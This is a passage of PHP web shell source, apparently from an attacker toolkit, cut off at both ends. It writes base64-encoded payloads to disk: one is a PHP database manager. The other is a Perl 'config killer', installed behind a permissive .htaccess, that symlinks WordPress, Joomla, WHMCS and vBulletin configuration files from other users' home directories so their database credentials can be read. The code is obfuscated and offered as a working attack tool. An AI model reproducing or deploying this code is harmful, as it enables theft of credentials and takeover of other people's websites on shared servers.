5U0QvZ0NyK0Y1SGpjSzlFenVweUdmSWptQjFmUm81emFDVnlWb3l6eUZmaWtoYUZhekNnVTFsbW9hNkhPV3hYUXdiWnJaZ3pTbDFOWW1NQnRwOGNocUs5OWVwQnZnMS9FcVM4R0tzODVIVXBYT3BDejJwMTJtU1piU2lkakc0SWZab0dNYXlSdlVSRXNRaVNzTyttWXBKZDdLK2dBNElkRlBLTW9PcHl5U3lBYVZGcjBLbzJ6Z2FvMlNrQ2NlTWtGQ2RLb0hUVEphQk9sOEJtZlJpYU1XRGhzOGlvV2tkc2VMS2trcm9yZ0JCV3NUeGxnMjZNTE1LY0tBS3RJQW9nclB6cEJ0ZUpLL1VGckZIZEFqTXdwaEU0RGdUS0d3VlJreXA1aHJIMGJUWlJqVGRiQTdObEJmelU0MldCZklIRkZ1UnFKOUdYWEEzMk9HWEZFM1hEdlkvSU11VThXM0tadXRsU0pFZ0RyTVNMc2JxWjFzRGVUNGhhUkFxbnVGWWZSN3BkdHc5cmplVDhneHV6aWkwbUgyY0RXUlRuL3FvQnlUVzBNZ2FGMEdmRFMyOTB0R3Npa25DSjdwZ25UWldHUkJDbU1LT3FtZ2FlZ0p0cFN0RldITk1Ec0Z3aTFrV3JKbjRSQ21QMmVEQmJ3NmJVTXVzZzY4bEJKU1ByYWNua2tMeTNjcVJJcjMyZnNBM1NGejZSVTR0VkJ3eVdBZ3lRTmFTelRiUFRVQ2lGQUd0TTFXbTRJbDZHSVdwSFFZZ0YzQXJJQmpXY2t0aVdodnZhS3NMdGhOV1lpK0Q4Z2dtYlJ2U0UrN1RSY2xWc0ZRL3B4NlVmMzFpaEkzanUvV2I3WlBlRVQ1SW5vOXhJUThiWkFIV2o5WFZ4d2tmTG5wZ29VM1I5WFZ2VHlMWnlRNXBJYWg5SmNnWS96clExNnc0UWV5NkxCeGRuS0o5bUYvUWY2Y05JOGcxcXd4b3hPLy9aQUpMUmd0WU83ZllKckNDcUFyWXNaZEJndWxFSW94bWVVeTJ6ZDZRWFFkTGcyc2taSlZUZHZYRGlYdzlZZU5hUW9uK0ZCeU5RdlZVelNpV3h3M0NTYlFRakxMTGF6TnRsSE9OeC9RUzZRUjBSWmU1bDA3aStTOU9BaExqYkp5ZXpsYUZ0KzZ3Q3J1aUt2NFNpZDRwbDVjVDBoa2Eweko1aHlGbDU1T0UrZXlpZXV1aTdiRzR5VHJaOENkZGZYNE1MN0xubEdIWlZuOUhoaFBwNlpHaWZTRHp3UlhnR1NxSkxWYzd5bi9EY0dFNUdlcEI1dllFRUFMSEdOaDNaRnhWWTVXb1JOdFVRSVFaZUp1ejhNaUJTMEZXODJTeTZRbzNQcnBZeHJSN2xzZWdrbXBNbllPZTlQUVZKbTdQMHlFUzNHMm1xZFhJNFRLTGhTRXZabHRCMUxjUUpwOTNnbHVFYXVVaDVQeU5YRmNid29aOXE3cWNYMGFUcllEaW5vNWNGckpEczhjaG1zL21nSXlSNU9DTEdFV1lEeVUybmQ3d01CUXBmNnNvRy9neGdmd01WVG9zMWF5bTFyVU1iZWRDeWhVbzV4aWZJZ3diTkZrZWZWVUdobzg2bitGenplYk5wamt2cGpCUFAvS2ZBbzdhM1RDTmFVQmpOa1N6OGNlRE5hSHV4NWtWOTkrQjArSThQaDZlN0orVGFWRTNvY2ZQd0NKbXA2WE5nT25RR0JyQW5XalpzbE9wbTJVMVJSeWFzN2puUzlsQXBlWDd5RCs3aVJxOTRqR1hXUW9rV1VyZG0yNFBWR2xwb21DaVRaM2dnVlRXTGhkemZlZ2tZOTZGeE9XajU0QmFjekx3YnZqM2MvL0QrNEtTd1NEaktLcnJLeVhTNThkM0xoY3pWYVMvRlQ3TWllSDZ2bXROUGluTmFMdzV6T0lyS3BGMHc2YjBML05tRVJzck94UmlpUXViQmNqWXJaUDd1M3hUeXBIdWprTDk3bmNaZU5oZG5oMUlwMGEwb3FwSjk2RlBVWVdPNHE0NHdiR3gwWGkxMkNvVXlBYUI4aU1KNUJBb1FMaHF3aW5FM0pxZ0RPa0p4S1c2azczWU0zREl0QWJNd0luQ21FMUNHTG51WEdJZlJyb1Z1S2doazRwMEF5RkFFZUJ5T2trVm5KUml3K0I1UXlxZjBaVWdhaGxWd2VrQmcxcVVqcmVSYk1kcG1tZkNXN05KNXI4bEZXZTZ1T0p6SnJCdDdNNjFaaHkxZnYwd3FjVktpUytYYnE5V3FpODJlNVVOSDFVeXExTlllTDkyQmoyUHY0ekxxbUxNaVkzMUlUQi9Zb3k2OW52ZkdjdzkvYjBiNnJOaWVWN2luTzRvbmR3WnAybHV1Mmw4WFlEZzRKUnR3N3k2VDhrdm11U1hzczBQLzlmTHRMcmxCd3grRElXRXYySUUrbnFBckdzVzl0RmdoYTJ5cW1xNDhxUGkza2s1Ym96SUJOWUw4R0tNYXlpUlRWbFhKYUNhODIrdURuck1DNmtGT2UzbG1heS9QeTdVWFptQ0pjbUtMbmkrc1hKdTl5SFdjbUhuMXJhalJaTlVWdTNOYWVkbVR5WTFDbXpMci9mdlI1NE00VGYrRFRCYm9GM3hjZFdISkNHVnFLRFhMYUVMV3hDVjlCNFhCYTMzWnJRTUwwYWhDOXVtZUJNYmxCSm82R01IR1lLQ3hNY2xGMVVIMWU5UWp4ZS9uendoL0t6RFd1YmkyaWpxcVE3TVQ5RUlTVnNsVkFCS3ErdEY0QTM3NkVVaU1VZGx1dHJXczNjV1RGaUJ4eDFrK3haZDFaTlZXbTFzTmVsMGFvYmtSVjJFVThHS2RiRkd6M25vQyt3cnBmdXdyK0lVaTR1VStWbUtqRUJPMFBTVFZGQSt3YTJFTEpVTllMVW4xb3czSS9oOFF2SUgwVU5GM2xlc2EwMGgrNVhYaTIweWtocmtXZ3ZSby84cEdDTENrZC9xeFV4ZE9QNlNmcVZPcnE3TW92T3VvZmtCdUdnZno2b3BCcThtYmtJYlFJdmJQTlNWbm83L1IvK1hzdjZyOVgvb2J0Y0V2K0dzalFJSUNmdWhxSkttdzN0eWpuV2cyZzVySTZINnk5dCtmWVJSdXEyZjlxOEZhalJPUWkwaDA5WHFGNnZsSjRVaE9GWnkxQmh4RmY1dmRPQ3Q2aHNQV3Bkbi9iVnZQU3RXYTVvYWVNeHg1QW90NW0zWkhvMjVWcGloRzJUMzYyc3daeWszcy9SbERVU3NZaDFvSnRuUWxTS3l0VVR5YVpJRzZpSUhsUTc2ZXhTaUEvd0V6RE9SUEhoRHpDb0RBMWp3Y1gxcklnT0hDQjVrWFJsZXh0K2hSTTJDYjRhRExYb1VSUTdXYWpKK2tqanNaYVNWbG16U1A1bUhoT2ttU1JHT2o5LzNibUFKYWFaTkJDNVZScXhBZUFiMlJjUkVnUEdHWEFkbXREdGxVMGpydnZ6dE1Rc0xuSWlYRTlzR09VRW9JdEtDQlFZOW1RTmhQTUJ6UGZDODBLREpLdjZ5YlUwSDlrRlZReWw0OW54V2RNcGVaZGVUWUo0T0FYV1hBVEVLcVhHZGwvc0pkZ0w3REdaZkJQUEZuOTBlODQ4OFFyMjN1QU5jS2RzOHlKSWMvbDJTTm9Mem95T3d4bTIzY0tJeEwzNXRPeVFuTWU0QWlBOXVUS2hCWUFKc1lxMnhlTEJXMXdnNTJhLytYMjgwdGx3UkhOWnljYnA5K2tENTY0c0NRNVl0TUVFbDBvM3VwTjhTVGJuVmNVdWFKbHN0U1JlbDl5V052b2JRU2E1STB1KzJISERrdnI5Rm1tbVNsVEoxalNGckFPU1M0MndHTmNiUU1kY0JkRmlMTGg3VTFxNnRzT2xKQ0xnTzdCeFplblczTkRoMmwrT1hkbzNuSDd2RUFKK2VEdldGM09IMjBrL1J2WU9ITmduTWd6cUVHV21tVmtkRjBKVUhycGxHb1ZGaTZwRENLcmxGMmptZkIrTExyNkFzVUpFR3BJVnFMelRpUmNKZklaK0l3RjcxSVppQUxaVzloYmFRK1hmNHZsTEVLblNzakVTWVB2NHdWTWVudGh1ZWdWeFR4UjdPWmw5MnRiMWM2ck5UYXNjUGdUQ1R0djVONW1CdHRheDcwTXRIeVpueDVJdkRTR3VpWm9NVHJtWHRBTng2eDdTVmpmYy9ERklNbGUySms4aDkyYW1Uait4NG5SM2w4dWRPakU1WDhOcXhseDBobExyeU1aQ3gzTHBaSndqc2hyZVgwQlVocmNXVWhWeTB3VTVXWDJwZGFvaFplRnU2MjZKek1MQ05saFdld3JuQ0Rua2FwTjVOaDRtM3RwY1A5NFk2VzBjWlVYcTczaDJLeDhRZTREYzBkOFVvOGhXMS9rNXdHZDdwZ1NjRldYZXc3RG5mUzZXZDlEVmhnSTM4SnlKOUxNRXVhOXgwVDhtOWRJV2oxSFhYOVFLMTZ1azBnVGdBYVJScmQwYzc0TXZvT3BjekZCQXdVdDFBNkRSbVozaWgvSDhJeDcwTVk0dWdMZ2hUeUVWTFBtOXlJSE4xUmFpcXdHOFc2a2hGZGhiRm5YM2JadmFiYlFXelFZK2dWaldRLzYxeHh5bUpjNnBuN0VvV0lGeHdYNldxaDZ0UFlzaSsxcm1ZcGpxOExzZk0vL0NDaitFcXVlb0VhR0UxdStJWWRYL3EyNDZoMDhCb29vd21IZ3RIZE5YZHJFbnhTM3JpUzY3dnl3blB1WnFvNkJteXBxNmQ4MzVOdVo5Sm0wZWE5b25ndDFTSHpnZSt1UTBNNnVoa2IwQTVsV3Bpb3QzRVVYUVkraGJUWEJic0E0ZmNzbUpJS2l1NE9rSm5CTlRwWXFFL25zMmdFeTdSQ0dnNjZRZFNUQm5YOU1rdUhJLzA1Um9ocnY1SVZ6bHltQjluMG1JdnIxdlF0QUVtVGY3K1N2OXU1aXBqSmlpZnNzL0tTbWZVaURQMGVIaDBlbjZJVzJoVlBuejZ4d21kQTJwZDNWM2RpamFqVzg2MzFVRkxuY3lmUjNBTWxEL05sV3dweGpPeENrbTRqUDVhZW8vRXlMdmlRK1BFU3kvMUVSaXZHWDZHZDBOUFZHVkFGVVpHSkVFMm45RFNQZUtiaXE4aVhPUGFER2RmZU1MV3RtQzVDaXNDTWt0NlpZQzlhSmNYM0hMZ3c5OXdEQTZrZWlIVWhxWnRhcW1oTlZMSWdHQ2tteVJPYUxUbWhDdlZhV0FkQk90bG1RYzBxQXN2U0dtQmdFbzhmaTlLQ3hNWnZZaW5Wa1JuVktXV0MzVC9tSjFvK1VaRTFYOXNrUlllUlN5cllkVnRPWmFaRHRjaHphSHVMenN3Wmkrd0podnAvUmJBTS9teWhrdk11aUJQV3cxeTVQZzFwSlBqMTZOMkczWWtXYkxOSTd5ajJQOW5rdEZzTitVT3pRTUQzVnBjR1FGVFUxVzZMT2VpaUNYQ3hhK3dnUElLR3l4aS91ckdJQWh0NHhwOERibVFuUHpRTmUyelVLSDhuTHExcExoMkEzS2VnTUQwbWVHUE1vaWErdnArRWc4bnNlNGxOSnU4U3R4TFl3VVh2Q0t1U3JxWkxaRkFqSVdCbXlZdnhCaVFuSldjUjZKK1lYNldSZlhYWFd5ZXNkc2gzUlhETC9LY2ZUN3pRNjd6WmZ2djdyOGVISHc1MjJ1TG5kL1JQUjc5NThoSjJ6dkozUmZCcGtlekxCSm5EVnJMenRTT0FicTluYnE0WG1nSHpHVFFpdkU3ZkZzcTlhbHZ1QzFtcURIYVRKZ1hMMmVSYjgyVTNwQmtCNlVIYTNpUFdGV3JrNG43Mk5SQWZQMm1sUlQxb3M3SGhoeE43R0RMNmpIL3RqNWNwM29tYytqcDZ3R3hRd2hTQU5GUzE5TE9GV050bFQ5UnIvQ2JvT3FKUVIraUE2bitnVTFVNkIxRUZXa1lYRUNZWC9tdzJ0TkJLSEs5TkFiZm9iaXczU2VyUFZjTXlMMCsrNWpLTlJPRUhJSG82a2QvdlljOGhaZ0x2cEMvM2JwSTQxT2xGdkN3bnFrcS9sZXpySUJsQ3pXZ1pqL0dhS21KWThFMWQ1THNUTzdWYVlSRFpuL2pvOWRTUGNITzJBQnA0MFRmR1FQZkt0TjVxYnFvenpkY0xkUS9XYU5acW1jZXNORmd6Q1BDajQzMFJLK1VsdmFDSFBYbGVPVlNNZWlicDdCSU4zeXhHU1U2LzIxaXVyNlZwekdOc0w5OHRReW5CZm55OG5kdFY5NU81RkM4b005ZW5zRXdTaEtpL3pnVjJFQUxpYnZhUzcyMmU2TVFmTGM4NUd0eFdpUFZicFBkK3ZUUkZnMWNDZ3A0Mjh1TWhMbEF2QmFXaTdERlQzUG8xbFZvZGpFbXQzQi9GRVY2SjgzV0FpMElOMjJBQ0hRd24xYVRtbXFmdFRHZnVkWFd2aTFlWjFTdFYrTTB4ODExKzNrRmZqZ0hsT2J3MFowVXlOcitxdzkzYkZKZUpOWXV4K1RVNyt1Y3R5Tmd3b2tmUUVBTmVqK1o0ZTQ3Rk43NTQ4MkFmamp1UjUvY25yR3REQXFiMmloaGZzblRDeXd4dGZVMWJSWXZUZlcwNnlTNmpteU85NHRxQWl1VlhyQXBDNmFxM1RyNzFhd1Q2R0JndklhcmJoK3JXb1Z5L0ZISjBTaStId2ZZRWRCSVdFaUdiMUYxenZ5RUx3a2QyeWNyeThTekExOGxHUWVqRk54MUhNYWl3eWpHM1pEcXBoMVVmVitpM2RmZGVIVTF3dnYzQ3E1Q1o3S2ZseThyeWVCK3p6eXFYQS92SjFrODFXNDBYRWp2d0VkOFp0dEZMckhUeUhpejBtUjFEWkZVVHlpdnBqbjFRSnlVd28xYXY4NVhGS1NuQVRnYk9QdjZYUi80Yys0TTh2a2NWZ2VmMURydWwrT2M5Sy9iVGZNVTdrQ2lHeUt5Q3dFVkhseTMwUnVkalcyWkRjbTN0YjV2ZGJwT3VIT09UUDZRSjRpdGtaZElIMXNrUmlQZHFoUlZXZWt4Q1ZNTG9pcDVOMERFdE1vUENRQm95OUVQbkNhdXkxTTVOMllxbm5qV0p6bXJvalkweWFJcFdrU0VxTXJzdTFzR1N4VmVrTm9wdGs1LzRrblIyeXNtQ2NxWjhXREJiYkU3UVJrZ25nWHBUS1hhRnpoVGwrUmpEYXg4dyt4RTJDWmM4TFdPSU15eGFidzNxbWZTbWVpYTFzbHpJemdSem02NUVMM3Rtb0ZZeGtRSHNTY1k1NVJ6QTU1NHFuN3pZT0VkMDBJajlnTFVHVWIxVVVGM1J0Ri9sY2c4aU54c3Rhd0JiR2NBLy9DUjdpOXpTYTZDQ3BSQmtHd3pmb0RFc3d3UFZZTFVvcGg0aWVnU0U4aXFoQnFmRmdvUnhyY2lXTWdXTEJzWmVxWWdtME5qSnZ3ZHBzTGRHY2M4MUdtT0Z0aXJMZy9SSXFaSzhONUZEbEZIWjdXeDJMSkZheldpUnFKUGJvSzB5L214bXBuZXpJRGsrbXRaTG1HSjdDcFhJZ1h1RGFwMDg1STU5WDI1aFZGQ29ZQjBQMDhtdzNHNHBnZTZMNW9zbkw1NjJYbTdLTngza29USTVaQ1hRaGdVa2ZvRUV6Q1BNYTRvR1dObS9qdXhwWk9GOSt2TFppK2QzSWlXSUlzYjNxekIrb1kxbHJmdDlsSHUvVngzNzAyK0VlSE9UeXZsdEpqWVdLa2FTUTE4Yy9YYjBuOEZDUHFCWHdkTk1EcUZSWE9aeVVLS0N1UGFERk5LdkN3YlArWi9qYUw2STZhVUdBa08vQmxUaEpUeSttdWhRY0tNZElNYWFvUGR2OE9veGhTd0VNU3BjMENYMTRDeVdkT2tzVmF6M3hLOSsrZzR5OXlHVDYzYzJOdGJXMThUNitzK1BmMjYxbWkwNytFY2pKbDJqMjBOTlEyZWVEYnBLdEgrcXEvZGdFZU5heTRyeHF6N3k1NHRVdGZYeDQrcWpYUE1oSy9NNk0yWFdRTStDRDlsQzdvL0tZcllvWnNqcHF4cFY2elZybjFmMVFEK3ZiZFFzZXByWkZGQnMxcFFmTXdTRFNKZ2lrTXV4bTFNYzJOaERvRW1kRHBod2J0allPdW9KSklLNWMvd0tiNUpuM2dKWG8rZE5KdStveGJJUmRaR0J1eldSM09zOW1JZ1VHaUtyVWs4UnFNREcyNnlva3R4ZUtab0tNd2lmZzBxOU5CaURabWk2cUlmUHVwbUVHeDd5TlZ1bUxrelFFUjBzWFI4UGN4RGdvcVlsRXBZOTZvSTZRd2FMU2pWY0hyQXVJaE80dHphNHNDTWZ2ZU5Xb0kwdW1aSnBQSm5qRlE4bWNtV3F1VWZqcGVnWEZIblAzbXhvdmVPNUtkaU1ndjZ4NDQ2b2RBenJBaHRSWG9xdldtdUlybkQ2MTgrYS9ldW5vLzUxOHhuOC94eitiOXIvTzZwaU5Kc01wVnRieU5nbmE0U1dZWEM5dVJNbHAyZzhWekFsemVhbWRQRkRTbW43ZGprQnZFSnhnNmZqb0xxMjliZUdNdGZTRkpJejl3WSszQUVlVWZ6OVpaNkVMcVdHSWtBbld6ekhRM0xKbmxhK2JPTGQ2S3E1c2d2WWJoTXFWTEZmVnIwZ1hLTGtIcFNVc1gxdnltN0Z4b1pBajE0d05WcElXZmZXWmZlMnRzVG1zNXI0SzhzRDdnYVd0WXBsM0Ewb2JNR205OWRQUDFiTE9vTEZKWFYxVjZDOFNOYjBwdGNUcmVJT3J3VUdUbE5VZjltTXo4NEhLWHRXYXY5S0NrMWt0UW1vVS81MVZTNnA3R3lqT2NKMzlQMXJxdkFEL3RHV2F4YzJWRVp3OW54Z3ZsOE1mdnF4a1N0L2FwVS9LeW5mdE1xZmxKUTNyZklXUFVXT3J6UzR1a0c0MGdoY1p3QUdweU9EbWVNZnNndnhDZnovMUpGRkRTcHJQVldMMGVTWkJXcmx2Y3psYVlwOFdSb0dhY2d4eW5yN2hGSGlUU2JHUHo0RFA1OXNXcmwveWtmOWpLNWdWOG5oK3JOUVRXN1hhdGYraytkRXM1NnJBalA5YWEwT3RnODNITjJhQzI5OFdYWC9pYk1CMnJTaUFPbVhGOG1PRmdvL3VZYTIzakVMRUUwcnQ2TGViWkZKYXZIL1JUdXRUVmRLZUk2MG5NWmtPZnBYUTMyUUxIdWc3VDI2QWt4TFE5YXNxZmRGSnJFL3pzbjVGdnkvU1ZPRVN3dXp5YzYySnQ0OW9LM3BwN1B0R1doeVM5aFdXcVk1VjFacUQzS3V2RERPWWhWVTgvK2hCRnY3WkhObGtSNTNhNVBOS0dGV1BrNUlQUld5akZZVFZkVlMrenhQSTRJckduQ2tvK2s0Wk43NEN2UEttcFBjQjhETUNrUXBxQ0pzK3hMNFQ3NElYYlZod0RNNlNjTWVRRkJ1OGNTamdMZDJiN0FmREpmVmRKQXRzSkRZcFNTUHNDZ3p5MHRjQ3RuM1NPa1h2VVhhVmZvSUJiY3U2Y1pCK2Q5WWtUSFUvUHlzQlk5cktmUFhWbVFrZVZWQ1RqRUNnQzZYZEZ2Nk5reGlSYlRMUDVKaTNYUjE3R3ZDQkY4ZWw4Nm9hdGJMdG9aWXZsdll6THA2c3RmNmd5TzZjVTExelROVEJXWVlrem1qeTVBRGxjS3JsUU5IdmZva1RUZ3VjdVFWYlVmOUVhRWN4cDNkZDlzZjlrK0ZLK0VsK01CMXJDdG5YQ1N2anFNMzBQa0QzK1FwdzZmK2drMUpkWGtGbk9xWFY1YVFCRGd3Y3djOUpaSzdNdnpLSHJIZmQvOVlQVjRjcWxVeVdvaEVjdVNTVG9Fd2g2NjlEL2tQcWlqTitWSzlvKzhjSGUrOTN6Nyt3eUdqaHFBUG9uQUlDdFhIcGM4UldVMGJvZlBoWU84ZkgzYi80cVRtaDIxU0IvaFd6eGtEcVBISjVHV01rTnQ4S1FzbmFzbmJhTGFjaDZicGttdlVTOXJPK0J4MFJwYlVwWG9taWlvbE5icWRLWjlYQmZTMU8yWXIxc0hhU1ZkSkw0V2w3dFFkOHl5N1pGdlhZbHZwaUFzaGkzRVlSVldqcjJXWGh1Mlo1dFkzNjgvcDZxVGtzbU56UGd2NW9yWnFMU0ZKMmRBOFpmV1VaclpPSC9iTGZzaWNzQitFbmw3RlFVcUhxblZUSTNzUmxuMmF1bEQvbVRoNUUyWEZMWHRIZWI2MW5DcTVzZ2NZN3ZlU0FRS1dDTmppUzhEeTdkK3F3NW9RVVNMWGpSOTMxMXNsY2xUU1hsdkx3RzZabHQ5SEtqYTZlSmp6SlpFbzBjZ24wdkJtZUlabXVaalRFc2xnemdLNGpyclZtNHk5aGErUDNFcnd5d3R4dDJXVHF0YjVmcE5ETG1FMXZDdFE0bkZiQ1RKSFA4eWUxVm1XVUFzZk56YWU2aVh1M1J3bGdBVUZMV2VoSzBpM2ZCbzNIT3ZaZHcyWWp1alZRQk9IZi8rL0hQRjB4WFdsMnd4NmpteituTGwxN2hZYnJPT3EyWHptT05pdTY5Ymt0WEdPSnFMWDdpdnkrZno4VS9neXVydVNmMitmUGlpVzJ5bW55eSt6VnJ6NDNFanVHaC9YbnAveEs2OGtzKzFrRHhUZlY4S1JRZWhVaE4rRHZ1UGdoWGFaRHd5RWpJNUM1Y3U5Vk9GUzZWZTVkRnY5QVF2S3BXZGdCN1IvMldrdytURkF4TlhZK1NrN2cxMmxYMlhUZER5REx6d29NbHpLYjh1YTJpcjlLcGR1NHhNTHdDOGRhMFdsNnIyNmdYWFBuMHFJNkNBWG5FOGxsQmhZNDRhWnRFT3FQMnVReWRIRGlabVVHSmc1d0tSUW40SThNeGo4U1Z3ZFVDaS9mRHZBZnFIQitiZHJwbE1hNDJNOVhWaWNxV1lnOU1PRDh2RVNsY2Jwb3I3cFZsWU91dUU2S3BMMElaTkp6YUhTbVpCNWo5RG1zOWhTZjFJd2QwdWt5TTh5cnV0TzlaeWl2NS83eFM4MERvcFJIVmFoZGVrNjk0ZDdlYUdyWngwSFhWSXo5Y3ptK21ha29ReXZvMGh3aVd4cmc4RktKbHc1Z3ZKNjZqKzZSOElrVEtkTEdhN2VUYk9sc0g0Y05qZHorSS9zRUJhT0w3WEZqTTZCbWJQUWYyMkhpdVM5VWd0WTUrRFJuaitiR3FGRWZ5ekNua2dxQTZTbi9Fc1NhbUZRU2twUVd3Q3lmbXlJeVRTMEN6dldjdVU5RzRxVHZkOHFsZkd6TXBkVG1DK2piR1UrcC9SYWxlM0w4MSt1QkR0Z1N5MHZMWEZMSG9VcVc5OG96MHRXdDJRRDN1S3kyU0RUZU9taWFaZ1YwMjAvQXlYVFhiSDU3SnQzaXFKY3p6MEcxS2ZYZ082OWtMRUhXczdDTitaaGUxVWVmbXYyczN6c1dZSTE4eXpRb214M1YzZXhNSlpOdjhqUExOVi9Qa0RseTFmV3pTdVJoVWQ1MkVDRXdlV1FkZGxMbmU2dmVPWHdoSlBtU2NQY0M0VGxUVFk2MHlySUJYVEtzMjkxTFdLZndpNFdvQVduUXlxMTdscXBVa0x5dnk1QjhBdz0iKSkpOyA/Pg==";
$write = fwrite ($f2 ,base64_decode($sml_db));
if ($write)
{@chmod('angel/db.php',0755);}
echo "</br></br><center><b>GO TO : <a href='angel/db.php' target='_blank'>[+] MYSQL MANAGER [+]</a></center></br>";
}
}

# x=ckperl
elseif(isset($_GET['x']) && ($_GET['x'] == 'ckperl')) {
echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ PERL</span> <span class='b8'>CONFIG KILLER ]:=O</span></b></nobr><br/><br/> "; 
echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='image/anu.pl' target='_blank'>[+] HERE [+]</a></center></span></br>"; 
if(!is_dir('image')){
$mk = @mkdir('image',0777);
$c  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
 AddType text/plain .html 
 AddHandler txt .html 
 AddHandler cgi-script .pl 
 Require None 
 Satisfy Any";
$f =@fopen ('image/.htaccess','w');
@fwrite($f , $c);
$f2 =@fopen ('image/anu.pl','w');
$sml_perl = "IyEvdXNyL2Jpbi9wZXJsIC1JL2hvbWUvYWxqbm9mcWUvcHVibGljX2h0bWwvdHJhZmlxL2dvbmZpZy5wbA0KcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8dGl0bGU+WytdIENPTkZJRyBQRVJMIFsrXTwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IFRhaG9tYTsNCiBmb250LXNpemU6IHgtc21hbGw7DQogZm9udC13ZWlnaHQ6IGJvbGQ7DQogY29sb3I6ICMwMEZGRkY7DQogIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQonOw0Kc3ViIGxpbHsNCiAgICAoJHVzZXIpID0gQF87DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ3ZiLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLidhbnUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ2FudS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nYW51LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLidhbnUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ2FudS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nd3AudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJ3dwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJ3dwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nam9vbWxhLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLidqb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nam9vbWxhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJzIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1Y